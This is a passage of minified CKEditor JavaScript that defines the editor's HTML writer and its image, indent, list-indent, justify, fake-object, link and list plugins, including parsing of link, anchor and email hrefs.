a&&a.indent&&(this._.indentation=this._.indentation.substr(this.indentationChars.length));this._.indent?this.indentation():a&&a.breakBeforeClose&&(this.lineBreak(),this.indentation());this._.output.push("</",b,">");"pre"==b&&(this._.inPre=0);a&&a.breakAfterClose&&(this.lineBreak(),this._.needsSpace=a.needsSpace);this._.afterCloser=1},text:function(b){this._.indent&&(this.indentation(),!this._.inPre&&(b=CKEDITOR.tools.ltrim(b)));this._.output.push(b)},comment:function(b){this._.indent&&this.indentation();
this._.output.push("<\!--",b,"--\>")},lineBreak:function(){!this._.inPre&&0<this._.output.length&&this._.output.push(this.lineBreakChars);this._.indent=1},indentation:function(){!this._.inPre&&this._.indentation&&this._.output.push(this._.indentation);this._.indent=0},reset:function(){this._.output=[];this._.indent=0;this._.indentation="";this._.afterCloser=0;this._.inPre=0},setRules:function(b,a){var c=this._.rules[b];c?CKEDITOR.tools.extend(c,a,!0):this._.rules[b]=a}}});(function(){function e(b,a){a||(a=b.getSelection().getSelectedElement());if(a&&a.is("img")&&!a.data("cke-realelement")&&!a.isReadOnly())return a}function f(b){var a=b.getStyle("float");if("inherit"==a||"none"==a)a=0;a||(a=b.getAttribute("align"));return a}CKEDITOR.plugins.add("image",{requires:"dialog",init:function(b){if(!b.plugins.image2){CKEDITOR.dialog.add("image",this.path+"dialogs/image.js");var a="img[alt,!src]{border-style,border-width,float,height,margin,margin-bottom,margin-left,margin-right,margin-top,width}";
CKEDITOR.dialog.isTabEnabled(b,"image","advanced")&&(a="img[alt,dir,id,lang,longdesc,!src,title]{*}(*)");b.addCommand("image",new CKEDITOR.dialogCommand("image",{allowedContent:a,requiredContent:"img[alt,src]",contentTransformations:[["img{width}: sizeToStyle","img[width]: sizeToAttribute"],["img{float}: alignmentToStyle","img[align]: alignmentToAttribute"]]}));b.ui.addButton&&b.ui.addButton("Image",{label:b.lang.common.image,command:"image",toolbar:"insert,10"});b.on("doubleclick",function(b){var a=
b.data.element;a.is("img")&&(!a.data("cke-realelement")&&!a.isReadOnly())&&(b.data.dialog="image")});b.addMenuItems&&b.addMenuItems({image:{label:b.lang.image.menu,command:"image",group:"image"}});b.contextMenu&&b.contextMenu.addListener(function(a){if(e(b,a))return{image:CKEDITOR.TRISTATE_OFF}})}},afterInit:function(b){function a(a){var d=b.getCommand("justify"+a);if(d){if("left"==a||"right"==a)d.on("exec",function(d){var c=e(b),g;c&&(g=f(c),g==a?(c.removeStyle("float"),a==f(c)&&c.removeAttribute("align")):
c.setStyle("float",a),d.cancel())});d.on("refresh",function(d){var c=e(b);c&&(c=f(c),this.setState(c==a?CKEDITOR.TRISTATE_ON:"right"==a||"left"==a?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED),d.cancel())})}}b.plugins.image2||(a("left"),a("right"),a("center"),a("block"))}})})();CKEDITOR.config.image_removeLinkByEmptyURL=!0;(function(){function k(a,b){var e,f;b.on("refresh",function(a){var b=[i],c;for(c in a.data.states)b.push(a.data.states[c]);this.setState(CKEDITOR.tools.search(b,m)?m:i)},b,null,100);b.on("exec",function(b){e=a.getSelection();f=e.createBookmarks(1);b.data||(b.data={});b.data.done=!1},b,null,0);b.on("exec",function(){a.forceNextSelectionCheck();e.selectBookmarks(f)},b,null,100)}var i=CKEDITOR.TRISTATE_DISABLED,m=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add("indent",{init:function(a){var b=CKEDITOR.plugins.indent.genericDefinition;
k(a,a.addCommand("indent",new b(!0)));k(a,a.addCommand("outdent",new b));a.ui.addButton&&(a.ui.addButton("Indent",{label:a.lang.indent.indent,command:"indent",directional:!0,toolbar:"indent,20"}),a.ui.addButton("Outdent",{label:a.lang.indent.outdent,command:"outdent",directional:!0,toolbar:"indent,10"}));a.on("dirChanged",function(b){var f=a.createRange(),j=b.data.node;f.setStartBefore(j);f.setEndAfter(j);for(var l=new CKEDITOR.dom.walker(f),c;c=l.next();)if(c.type==CKEDITOR.NODE_ELEMENT)if(!c.equals(j)&&
c.getDirection()){f.setStartAfter(c);l=new CKEDITOR.dom.walker(f)}else{var d=a.config.indentClasses;if(d)for(var g=b.data.dir=="ltr"?["_rtl",""]:["","_rtl"],h=0;h<d.length;h++)if(c.hasClass(d[h]+g[0])){c.removeClass(d[h]+g[0]);c.addClass(d[h]+g[1])}d=c.getStyle("margin-right");g=c.getStyle("margin-left");d?c.setStyle("margin-left",d):c.removeStyle("margin-left");g?c.setStyle("margin-right",g):c.removeStyle("margin-right")}})}});CKEDITOR.plugins.indent={genericDefinition:function(a){this.isIndent=
!!a;this.startDisabled=!this.isIndent},specificDefinition:function(a,b,e){this.name=b;this.editor=a;this.jobs={};this.enterBr=a.config.enterMode==CKEDITOR.ENTER_BR;this.isIndent=!!e;this.relatedGlobal=e?"indent":"outdent";this.indentKey=e?9:CKEDITOR.SHIFT+9;this.database={}},registerCommands:function(a,b){a.on("pluginsLoaded",function(){for(var a in b)(function(a,b){var e=a.getCommand(b.relatedGlobal),c;for(c in b.jobs)e.on("exec",function(d){d.data.done||(a.fire("lockSnapshot"),b.execJob(a,c)&&(d.data.done=
!0),a.fire("unlockSnapshot"),CKEDITOR.dom.element.clearAllMarkers(b.database))},this,null,c),e.on("refresh",function(d){d.data.states||(d.data.states={});d.data.states[b.name+"@"+c]=b.refreshJob(a,c,d.data.path)},this,null,c);a.addFeature(b)})(this,b[a])})}};CKEDITOR.plugins.indent.genericDefinition.prototype={context:"p",exec:function(){}};CKEDITOR.plugins.indent.specificDefinition.prototype={execJob:function(a,b){var e=this.jobs[b];if(e.state!=i)return e.exec.call(this,a)},refreshJob:function(a,
b,e){b=this.jobs[b];b.state=a.activeFilter.checkFeature(this)?b.refresh.call(this,a,e):i;return b.state},getContext:function(a){return a.contains(this.context)}}})();(function(){function s(c){function f(b){for(var e=d.startContainer,a=d.endContainer;e&&!e.getParent().equals(b);)e=e.getParent();for(;a&&!a.getParent().equals(b);)a=a.getParent();if(!e||!a)return!1;for(var g=e,e=[],i=!1;!i;)g.equals(a)&&(i=!0),e.push(g),g=g.getNext();if(1>e.length)return!1;g=b.getParents(!0);for(a=0;a<g.length;a++)if(g[a].getName&&m[g[a].getName()]){b=g[a];break}for(var g=j.isIndent?1:-1,a=e[0],e=e[e.length-1],i=CKEDITOR.plugins.list.listToArray(b,n),l=i[e.getCustomData("listarray_index")].indent,
a=a.getCustomData("listarray_index");a<=e.getCustomData("listarray_index");a++)if(i[a].indent+=g,0<g){var h=i[a].parent;i[a].parent=new CKEDITOR.dom.element(h.getName(),h.getDocument())}for(a=e.getCustomData("listarray_index")+1;a<i.length&&i[a].indent>l;a++)i[a].indent+=g;e=CKEDITOR.plugins.list.arrayToList(i,n,null,c.config.enterMode,b.getDirection());if(!j.isIndent){var f;if((f=b.getParent())&&f.is("li"))for(var g=e.listNode.getChildren(),o=[],k,a=g.count()-1;0<=a;a--)(k=g.getItem(a))&&(k.is&&
k.is("li"))&&o.push(k)}e&&e.listNode.replace(b);if(o&&o.length)for(a=0;a<o.length;a++){for(k=b=o[a];(k=k.getNext())&&k.is&&k.getName()in m;)CKEDITOR.env.needsNbspFiller&&!b.getFirst(t)&&b.append(d.document.createText(" ")),b.append(k);b.insertAfter(f)}e&&c.fire("contentDomInvalidated");return!0}for(var j=this,n=this.database,m=this.context,l=c.getSelection(),l=(l&&l.getRanges()).createIterator(),d;d=l.getNextRange();){for(var b=d.getCommonAncestor();b&&!(b.type==CKEDITOR.NODE_ELEMENT&&m[b.getName()]);)b=
b.getParent();b||(b=d.startPath().contains(m))&&d.setEndAt(b,CKEDITOR.POSITION_BEFORE_END);if(!b){var h=d.getEnclosedNode();h&&(h.type==CKEDITOR.NODE_ELEMENT&&h.getName()in m)&&(d.setStartAt(h,CKEDITOR.POSITION_AFTER_START),d.setEndAt(h,CKEDITOR.POSITION_BEFORE_END),b=h)}b&&(d.startContainer.type==CKEDITOR.NODE_ELEMENT&&d.startContainer.getName()in m)&&(h=new CKEDITOR.dom.walker(d),h.evaluator=p,d.startContainer=h.next());b&&(d.endContainer.type==CKEDITOR.NODE_ELEMENT&&d.endContainer.getName()in m)&&
(h=new CKEDITOR.dom.walker(d),h.evaluator=p,d.endContainer=h.previous());if(b)return f(b)}return 0}function p(c){return c.type==CKEDITOR.NODE_ELEMENT&&c.is("li")}function t(c){return u(c)&&v(c)}var u=CKEDITOR.dom.walker.whitespaces(!0),v=CKEDITOR.dom.walker.bookmark(!1,!0),q=CKEDITOR.TRISTATE_DISABLED,r=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add("indentlist",{requires:"indent",init:function(c){function f(c){j.specificDefinition.apply(this,arguments);this.requiredContent=["ul","ol"];c.on("key",function(f){if("wysiwyg"==
c.mode&&f.data.keyCode==this.indentKey){var l=this.getContext(c.elementPath());if(l&&(!this.isIndent||!CKEDITOR.plugins.indentList.firstItemInPath(this.context,c.elementPath(),l)))c.execCommand(this.relatedGlobal),f.cancel()}},this);this.jobs[this.isIndent?10:30]={refresh:this.isIndent?function(c,f){var d=this.getContext(f),b=CKEDITOR.plugins.indentList.firstItemInPath(this.context,f,d);return!d||!this.isIndent||b?q:r}:function(c,f){return!this.getContext(f)||this.isIndent?q:r},exec:CKEDITOR.tools.bind(s,
this)}}var j=CKEDITOR.plugins.indent;j.registerCommands(c,{indentlist:new f(c,"indentlist",!0),outdentlist:new f(c,"outdentlist")});CKEDITOR.tools.extend(f.prototype,j.specificDefinition.prototype,{context:{ol:1,ul:1}})}});CKEDITOR.plugins.indentList={};CKEDITOR.plugins.indentList.firstItemInPath=function(c,f,j){var n=f.contains(p);j||(j=f.contains(c));return j&&n&&n.equals(j.getFirst(p))}})();(function(){function l(a,c){var c=void 0===c||c,b;if(c)b=a.getComputedStyle("text-align");else{for(;!a.hasAttribute||!a.hasAttribute("align")&&!a.getStyle("text-align");){b=a.getParent();if(!b)break;a=b}b=a.getStyle("text-align")||a.getAttribute("align")||""}b&&(b=b.replace(/(?:-(?:moz|webkit)-)?(?:start|auto)/i,""));!b&&c&&(b="rtl"==a.getComputedStyle("direction")?"right":"left");return b}function g(a,c,b){this.editor=a;this.name=c;this.value=b;this.context="p";var c=a.config.justifyClasses,h=a.config.enterMode==
CKEDITOR.ENTER_P?"p":"div";if(c){switch(b){case "left":this.cssClassName=c[0];break;case "center":this.cssClassName=c[1];break;case "right":this.cssClassName=c[2];break;case "justify":this.cssClassName=c[3]}this.cssClassRegex=RegExp("(?:^|\\s+)(?:"+c.join("|")+")(?=$|\\s)");this.requiredContent=h+"("+this.cssClassName+")"}else this.requiredContent=h+"{text-align}";this.allowedContent={"caption div h1 h2 h3 h4 h5 h6 p pre td th li":{propertiesOnly:!0,styles:this.cssClassName?null:"text-align",classes:this.cssClassName||
null}};a.config.enterMode==CKEDITOR.ENTER_BR&&(this.allowedContent.div=!0)}function j(a){var c=a.editor,b=c.createRange();b.setStartBefore(a.data.node);b.setEndAfter(a.data.node);for(var h=new CKEDITOR.dom.walker(b),d;d=h.next();)if(d.type==CKEDITOR.NODE_ELEMENT)if(!d.equals(a.data.node)&&d.getDirection())b.setStartAfter(d),h=new CKEDITOR.dom.walker(b);else{var e=c.config.justifyClasses;e&&(d.hasClass(e[0])?(d.removeClass(e[0]),d.addClass(e[2])):d.hasClass(e[2])&&(d.removeClass(e[2]),d.addClass(e[0])));
e=d.getStyle("text-align");"left"==e?d.setStyle("text-align","right"):"right"==e&&d.setStyle("text-align","left")}}g.prototype={exec:function(a){var c=a.getSelection(),b=a.config.enterMode;if(c){for(var h=c.createBookmarks(),d=c.getRanges(),e=this.cssClassName,g,f,i=a.config.useComputedState,i=void 0===i||i,k=d.length-1;0<=k;k--){g=d[k].createIterator();for(g.enlargeBr=b!=CKEDITOR.ENTER_BR;f=g.getNextParagraph(b==CKEDITOR.ENTER_P?"p":"div");)if(!f.isReadOnly()){f.removeAttribute("align");f.removeStyle("text-align");
var j=e&&(f.$.className=CKEDITOR.tools.ltrim(f.$.className.replace(this.cssClassRegex,""))),m=this.state==CKEDITOR.TRISTATE_OFF&&(!i||l(f,!0)!=this.value);e?m?f.addClass(e):j||f.removeAttribute("class"):m&&f.setStyle("text-align",this.value)}}a.focus();a.forceNextSelectionCheck();c.selectBookmarks(h)}},refresh:function(a,c){var b=c.block||c.blockLimit;this.setState("body"!=b.getName()&&l(b,this.editor.config.useComputedState)==this.value?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)}};CKEDITOR.plugins.add("justify",
{init:function(a){if(!a.blockless){var c=new g(a,"justifyleft","left"),b=new g(a,"justifycenter","center"),h=new g(a,"justifyright","right"),d=new g(a,"justifyblock","justify");a.addCommand("justifyleft",c);a.addCommand("justifycenter",b);a.addCommand("justifyright",h);a.addCommand("justifyblock",d);a.ui.addButton&&(a.ui.addButton("JustifyLeft",{label:a.lang.justify.left,command:"justifyleft",toolbar:"align,10"}),a.ui.addButton("JustifyCenter",{label:a.lang.justify.center,command:"justifycenter",
toolbar:"align,20"}),a.ui.addButton("JustifyRight",{label:a.lang.justify.right,command:"justifyright",toolbar:"align,30"}),a.ui.addButton("JustifyBlock",{label:a.lang.justify.block,command:"justifyblock",toolbar:"align,40"}));a.on("dirChanged",j)}}})})();(function(){function g(a,b){var c=j.exec(a),d=j.exec(b);if(c){if(!c[2]&&"px"==d[2])return d[1];if("px"==c[2]&&!d[2])return d[1]+"px"}return b}var i=CKEDITOR.htmlParser.cssStyle,h=CKEDITOR.tools.cssLength,j=/^((?:\d*(?:\.\d+))|(?:\d+))(.*)?$/i,k={elements:{$:function(a){var b=a.attributes;if((b=(b=(b=b&&b["data-cke-realelement"])&&new CKEDITOR.htmlParser.fragment.fromHtml(decodeURIComponent(b)))&&b.children[0])&&a.attributes["data-cke-resizable"]){var c=(new i(a)).rules,a=b.attributes,d=c.width,c=
c.height;d&&(a.width=g(a.width,d));c&&(a.height=g(a.height,c))}return b}}};CKEDITOR.plugins.add("fakeobjects",{init:function(a){a.filter.allow("img[!data-cke-realelement,src,alt,title](*){*}","fakeobjects")},afterInit:function(a){(a=(a=a.dataProcessor)&&a.htmlFilter)&&a.addRules(k,{applyToAll:!0})}});CKEDITOR.editor.prototype.createFakeElement=function(a,b,c,d){var e=this.lang.fakeobjects,e=e[c]||e.unknown,b={"class":b,"data-cke-realelement":encodeURIComponent(a.getOuterHtml()),"data-cke-real-node-type":a.type,
alt:e,title:e,align:a.getAttribute("align")||""};CKEDITOR.env.hc||(b.src=CKEDITOR.tools.transparentImageData);c&&(b["data-cke-real-element-type"]=c);d&&(b["data-cke-resizable"]=d,c=new i,d=a.getAttribute("width"),a=a.getAttribute("height"),d&&(c.rules.width=h(d)),a&&(c.rules.height=h(a)),c.populate(b));return this.document.createElement("img",{attributes:b})};CKEDITOR.editor.prototype.createFakeParserElement=function(a,b,c,d){var e=this.lang.fakeobjects,e=e[c]||e.unknown,f;f=new CKEDITOR.htmlParser.basicWriter;
a.writeHtml(f);f=f.getHtml();b={"class":b,"data-cke-realelement":encodeURIComponent(f),"data-cke-real-node-type":a.type,alt:e,title:e,align:a.attributes.align||""};CKEDITOR.env.hc||(b.src=CKEDITOR.tools.transparentImageData);c&&(b["data-cke-real-element-type"]=c);d&&(b["data-cke-resizable"]=d,d=a.attributes,a=new i,c=d.width,d=d.height,void 0!==c&&(a.rules.width=h(c)),void 0!==d&&(a.rules.height=h(d)),a.populate(b));return new CKEDITOR.htmlParser.element("img",b)};CKEDITOR.editor.prototype.restoreRealElement=
function(a){if(a.data("cke-real-node-type")!=CKEDITOR.NODE_ELEMENT)return null;var b=CKEDITOR.dom.element.createFromHtml(decodeURIComponent(a.data("cke-realelement")),this.document);if(a.data("cke-resizable")){var c=a.getStyle("width"),a=a.getStyle("height");c&&b.setAttribute("width",g(b.getAttribute("width"),c));a&&b.setAttribute("height",g(b.getAttribute("height"),a))}return b}})();(function(){function m(c){return c.replace(/'/g,"\\$&")}function n(c){for(var b,a=c.length,f=[],e=0;e<a;e++)b=c.charCodeAt(e),f.push(b);return"String.fromCharCode("+f.join(",")+")"}function o(c,b){var a=c.plugins.link,f=a.compiledProtectionFunction.params,e,d;d=[a.compiledProtectionFunction.name,"("];for(var g=0;g<f.length;g++)a=f[g].toLowerCase(),e=b[a],0<g&&d.push(","),d.push("'",e?m(encodeURIComponent(b[a])):"","'");d.push(")");return d.join("")}function l(c){var c=c.config.emailProtection||"",
b;c&&"encode"!=c&&(b={},c.replace(/^([^(]+)\(([^)]+)\)$/,function(a,c,e){b.name=c;b.params=[];e.replace(/[^,\s]+/g,function(a){b.params.push(a)})}));return b}CKEDITOR.plugins.add("link",{requires:"dialog,fakeobjects",onLoad:function(){function c(b){return a.replace(/%1/g,"rtl"==b?"right":"left").replace(/%2/g,"cke_contents_"+b)}var b="background:url("+CKEDITOR.getUrl(this.path+"images"+(CKEDITOR.env.hidpi?"/hidpi":"")+"/anchor.png")+") no-repeat %1 center;border:1px dotted #00f;background-size:16px;",
a=".%2 a.cke_anchor,.%2 a.cke_anchor_empty,.cke_editable.%2 a[name],.cke_editable.%2 a[data-cke-saved-name]{"+b+"padding-%1:18px;cursor:auto;}.%2 img.cke_anchor{"+b+"width:16px;min-height:15px;height:1.15em;vertical-align:text-bottom;}";CKEDITOR.addCss(c("ltr")+c("rtl"))},init:function(c){var b="a[!href]";CKEDITOR.dialog.isTabEnabled(c,"link","advanced")&&(b=b.replace("]",",accesskey,charset,dir,id,lang,name,rel,tabindex,title,type]{*}(*)"));CKEDITOR.dialog.isTabEnabled(c,"link","target")&&(b=b.replace("]",
",target,onclick]"));c.addCommand("link",new CKEDITOR.dialogCommand("link",{allowedContent:b,requiredContent:"a[href]"}));c.addCommand("anchor",new CKEDITOR.dialogCommand("anchor",{allowedContent:"a[!name,id]",requiredContent:"a[name]"}));c.addCommand("unlink",new CKEDITOR.unlinkCommand);c.addCommand("removeAnchor",new CKEDITOR.removeAnchorCommand);c.setKeystroke(CKEDITOR.CTRL+76,"link");c.ui.addButton&&(c.ui.addButton("Link",{label:c.lang.link.toolbar,command:"link",toolbar:"links,10"}),c.ui.addButton("Unlink",
{label:c.lang.link.unlink,command:"unlink",toolbar:"links,20"}),c.ui.addButton("Anchor",{label:c.lang.link.anchor.toolbar,command:"anchor",toolbar:"links,30"}));CKEDITOR.dialog.add("link",this.path+"dialogs/link.js");CKEDITOR.dialog.add("anchor",this.path+"dialogs/anchor.js");c.on("doubleclick",function(a){var b=CKEDITOR.plugins.link.getSelectedLink(c)||a.data.element;if(!b.isReadOnly())if(b.is("a")){a.data.dialog=b.getAttribute("name")&&(!b.getAttribute("href")||!b.getChildCount())?"anchor":"link";
a.data.link=b}else if(CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,b))a.data.dialog="anchor"},null,null,0);c.on("doubleclick",function(a){a.data.dialog in{link:1,anchor:1}&&a.data.link&&c.getSelection().selectElement(a.data.link)},null,null,20);c.addMenuItems&&c.addMenuItems({anchor:{label:c.lang.link.anchor.menu,command:"anchor",group:"anchor",order:1},removeAnchor:{label:c.lang.link.anchor.remove,command:"removeAnchor",group:"anchor",order:5},link:{label:c.lang.link.menu,command:"link",group:"link",
order:1},unlink:{label:c.lang.link.unlink,command:"unlink",group:"link",order:5}});c.contextMenu&&c.contextMenu.addListener(function(a){if(!a||a.isReadOnly())return null;a=CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,a);if(!a&&!(a=CKEDITOR.plugins.link.getSelectedLink(c)))return null;var b={};a.getAttribute("href")&&a.getChildCount()&&(b={link:CKEDITOR.TRISTATE_OFF,unlink:CKEDITOR.TRISTATE_OFF});if(a&&a.hasAttribute("name"))b.anchor=b.removeAnchor=CKEDITOR.TRISTATE_OFF;return b});this.compiledProtectionFunction=
l(c)},afterInit:function(c){c.dataProcessor.dataFilter.addRules({elements:{a:function(a){return!a.attributes.name?null:!a.children.length?c.createFakeParserElement(a,"cke_anchor","anchor"):null}}});var b=c._.elementsPath&&c._.elementsPath.filters;b&&b.push(function(a,b){if("a"==b&&(CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,a)||a.getAttribute("name")&&(!a.getAttribute("href")||!a.getChildCount())))return"anchor"})}});var p=/^javascript:/,q=/^mailto:([^?]+)(?:\?(.+))?$/,r=/subject=([^;?:@&=$,\/]*)/,
s=/body=([^;?:@&=$,\/]*)/,t=/^#(.*)$/,u=/^((?:http|https|ftp|news):\/\/)?(.*)$/,v=/^(_(?:self|top|parent|blank))$/,w=/^javascript:void\(location\.href='mailto:'\+String\.fromCharCode\(([^)]+)\)(?:\+'(.*)')?\)$/,x=/^javascript:([^(]+)\(([^)]+)\)$/,y=/\s*window.open\(\s*this\.href\s*,\s*(?:'([^']*)'|null)\s*,\s*'([^']*)'\s*\)\s*;\s*return\s*false;*\s*/,z=/(?:^|,)([^=]+)=(\d+|yes|no)/gi,j={id:"advId",dir:"advLangDir",accessKey:"advAccessKey",name:"advName",lang:"advLangCode",tabindex:"advTabIndex",title:"advTitle",
type:"advContentType","class":"advCSSClasses",charset:"advCharset",style:"advStyles",rel:"advRel"};CKEDITOR.plugins.link={getSelectedLink:function(c){var b=c.getSelection(),a=b.getSelectedElement();return a&&a.is("a")?a:(b=b.getRanges()[0])?(b.shrink(CKEDITOR.SHRINK_TEXT),c.elementPath(b.getCommonAncestor()).contains("a",1)):null},getEditorAnchors:function(c){for(var b=c.editable(),a=b.isInline()&&!c.plugins.divarea?c.document:b,b=a.getElementsByTag("a"),a=a.getElementsByTag("img"),f=[],e=0,d;d=b.getItem(e++);)if(d.data("cke-saved-name")||
d.hasAttribute("name"))f.push({name:d.data("cke-saved-name")||d.getAttribute("name"),id:d.getAttribute("id")});for(e=0;d=a.getItem(e++);)(d=this.tryRestoreFakeAnchor(c,d))&&f.push({name:d.getAttribute("name"),id:d.getAttribute("id")});return f},fakeAnchor:!0,tryRestoreFakeAnchor:function(c,b){if(b&&b.data("cke-real-element-type")&&"anchor"==b.data("cke-real-element-type")){var a=c.restoreRealElement(b);if(a.data("cke-saved-name"))return a}},parseLinkAttributes:function(c,b){var a=b&&(b.data("cke-saved-href")||
b.getAttribute("href"))||"",f=c.plugins.link.compiledProtectionFunction,e=c.config.emailProtection,d,g={};a.match(p)&&("encode"==e?a=a.replace(w,function(a,b,c){return"mailto:"+String.fromCharCode.apply(String,b.split(","))+(c&&c.replace(/\\'/g,"'"))}):e&&a.replace(x,function(a,b,c){if(b==f.name){g.type="email";for(var a=g.email={},b=/(^')|('$)/g,c=c.match(/[^,\s]+/g),d=c.length,e,h,i=0;i<d;i++)e=decodeURIComponent,h=c[i].replace(b,"").replace(/\\'/g,"'"),h=e(h),e=f.params[i].toLowerCase(),a[e]=h;
a.address=[a.name,a.domain].join("@")}}));if(!g.type)if(e=a.match(t))g.type="anchor",g.anchor={},g.anchor.name=g.anchor.id=e[1];else if(e=a.match(q)){d=a.match(r);a=a.match(s);g.type="email";var i=g.email={};i.address=e[1];d&&(i.subject=decodeURIComponent(d[1]));a&&(i.body=decodeURIComponent(a[1]))}else if(a&&(d=a.match(u)))g.type="url",g.url={},g.url.protocol=d[1],g.url.url=d[2];if(b){if(a=b.getAttribute("target"))g.target={type:a.match(v)?a:"frame",name:a};else if(a=(a=b.data("cke-pa-onclick")||
b.getAttribute("onclick"))&&a.match(y))for(g.target={type:"popup",name:a[1]};e=z.exec(a[2]);)("yes"==e[2]||"1"==e[2])&&!(e[1]in{height:1,width:1,top:1,left:1})?g.target[e[1]]=!0:isFinite(e[2])&&(g.target[e[1]]=e[2]);var a={},h;for(h in j)(e=b.getAttribute(h))&&(a[j[h]]=e);if(h=b.data("cke-saved-name")||a.advName)a.advName=h;CKEDITOR.tools.isEmpty(a)||(g.advanced=a)}return g},getLinkAttributes:function(c,b){var a=c.config.emailProtection||"",f={};switch(b.type){case "url":var a=b.url&&void 0!==b.url.protocol?
b.url.protocol:"http://",e=b.url&&CKEDITOR.tools.trim(b.url.url)||"";f["data-cke-saved-href"]=0===e.indexOf("/")?e:a+e;break;case "anchor":a=b.anchor&&b.anchor.id;f["data-cke-saved-href"]="#"+(b.anchor&&b.anchor.name||a||"");break;case "email":var d=b.email,e=d.address;switch(a){case "":case "encode":var g=encodeURIComponent(d.subject||""),i=encodeURIComponent(d.body||""),d=[];g&&d.push("subject="+g);i&&d.push("body="+i);d=d.length?"?"+d.join("&"):"";"encode"==a?(a=["javascript:void(location.href='mailto:'+",
n(e)],d&&a.push("+'",m(d),"'"),a.push(")")):a=["mailto:",e,d];break;default:a=e.split("@",2),d.name=a[0],d.domain=a[1],a=["javascript:",o(c,d)]}f["data-cke-saved-href"]=a.join("")}if(b.target)if("popup"==b.target.type){for(var a=["window.open(this.href, '",b.target.name||"","', '"],h="resizable status location toolbar menubar fullscreen scrollbars dependent".split(" "),e=h.length,g=function(a){b.target[a]&&h.push(a+"="+b.target[a])},d=0;d<e;d++)h[d]+=b.target[h[d]]?"=yes":"=no";g("width");g("left");
g("height");g("top");a.push(h.join(","),"'); return false;");f["data-cke-pa-onclick"]=a.join("")}else"notSet"!=b.target.type&&b.target.name&&(f.target=b.target.name);if(b.advanced){for(var k in j)(a=b.advanced[j[k]])&&(f[k]=a);f.name&&(f["data-cke-saved-name"]=f.name)}f["data-cke-saved-href"]&&(f.href=f["data-cke-saved-href"]);k=CKEDITOR.tools.extend({target:1,onclick:1,"data-cke-pa-onclick":1,"data-cke-saved-name":1},j);for(var l in f)delete k[l];return{set:f,removed:CKEDITOR.tools.objectKeys(k)}}};
CKEDITOR.unlinkCommand=function(){};CKEDITOR.unlinkCommand.prototype={exec:function(c){var b=new CKEDITOR.style({element:"a",type:CKEDITOR.STYLE_INLINE,alwaysRemoveElement:1});c.removeStyle(b)},refresh:function(c,b){var a=b.lastElement&&b.lastElement.getAscendant("a",!0);a&&"a"==a.getName()&&a.getAttribute("href")&&a.getChildCount()?this.setState(CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_DISABLED)},contextSensitive:1,startDisabled:1,requiredContent:"a[href]"};CKEDITOR.removeAnchorCommand=
function(){};CKEDITOR.removeAnchorCommand.prototype={exec:function(c){var b=c.getSelection(),a=b.createBookmarks(),f;if(b&&(f=b.getSelectedElement())&&(!f.getChildCount()?CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,f):f.is("a")))f.remove(1);else if(f=CKEDITOR.plugins.link.getSelectedLink(c))f.hasAttribute("href")?(f.removeAttributes({name:1,"data-cke-saved-name":1}),f.removeClass("cke_anchor")):f.remove(1);b.selectBookmarks(a)},requiredContent:"a[name]"};CKEDITOR.tools.extend(CKEDITOR.config,{linkShowAdvancedTab:!0,
linkShowTargetTab:!0})})();(function(){function E(b,k,e){function d(d){if((a=c[d?"getFirst":"getLast"]())&&(!a.is||!a.isBlockBoundary())&&(m=k.root[d?"getPrevious":"getNext"](CKEDITOR.dom.walker.invisible(!0)))&&(!m.is||!m.isBlockBoundary({br:1})))b.document.createElement("br")[d?"insertBefore":"insertAfter"](a)}for(var f=CKEDITOR.plugins.list.listToArray(k.root,e),g=[],i=0;i<k.contents.length;i++){var h=k.contents[i];if((h=h.getAscendant("li",!0))&&!h.getCustomData("list_item_processed"))g.push(h),CKEDITOR.dom.element.setMarker(e,
h,"list_item_processed",!0)}h=null;for(i=0;i<g.length;i++)h=g[i].getCustomData("listarray_index"),f[h].indent=-1;for(i=h+1;i<f.length;i++)if(f[i].indent>f[i-1].indent+1){g=f[i-1].indent+1-f[i].indent;for(h=f[i].indent;f[i]&&f[i].indent>=h;)f[i].indent+=g,i++;i--}var c=CKEDITOR.plugins.list.arrayToList(f,e,null,b.config.enterMode,k.root.getAttribute("dir")).listNode,a,m;d(!0);d();c.replace(k.root);b.fire("contentDomInvalidated")}function x(b,k){this.name=b;this.context=this.type=k;this.allowedContent=
k+" li";this.requiredContent=k}function A(b,k,e,d){for(var f,g;f=b[d?"getLast":"getFirst"](F);)(g=f.getDirection(1))!==k.getDirection(1)&&f.setAttribute("dir",g),f.remove(),e?f[d?"insertBefore":"insertAfter"](e):k.append(f,d)}function B(b){function k(e){var d=b[e?"getPrevious":"getNext"](q);d&&(d.type==CKEDITOR.NODE_ELEMENT&&d.is(b.getName()))&&(A(b,d,null,!e),b.remove(),b=d)}k();k(1)}function C(b){return b.type==CKEDITOR.NODE_ELEMENT&&(b.getName()in CKEDITOR.dtd.$block||b.getName()in CKEDITOR.dtd.$listItem)&&
CKEDITOR.dtd[b.getName()]["#"]}function y(b,k,e){b.fire("saveSnapshot");e.enlarge(CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS);var d=e.extractContents();k.trim(!1,!0);var f=k.createBookmark(),g=new CKEDITOR.dom.elementPath(k.startContainer),i=g.block,g=g.lastElement.getAscendant("li",1)||i,h=new CKEDITOR.dom.elementPath(e.startContainer),c=h.contains(CKEDITOR.dtd.$listItem),h=h.contains(CKEDITOR.dtd.$list);i?(i=i.getBogus())&&i.remove():h&&(i=h.getPrevious(q))&&v(i)&&i.remove();(i=d.getLast())&&(i.type==
CKEDITOR.NODE_ELEMENT&&i.is("br"))&&i.remove();(i=k.startContainer.getChild(k.startOffset))?d.insertBefore(i):k.startContainer.append(d);if(c&&(d=w(c)))g.contains(c)?(A(d,c.getParent(),c),d.remove()):g.append(d);for(;e.checkStartOfBlock()&&e.checkEndOfBlock();){h=e.startPath();d=h.block;if(!d)break;d.is("li")&&(g=d.getParent(),d.equals(g.getLast(q))&&d.equals(g.getFirst(q))&&(d=g));e.moveToPosition(d,CKEDITOR.POSITION_BEFORE_START);d.remove()}e=e.clone();d=b.editable();e.setEndAt(d,CKEDITOR.POSITION_BEFORE_END);
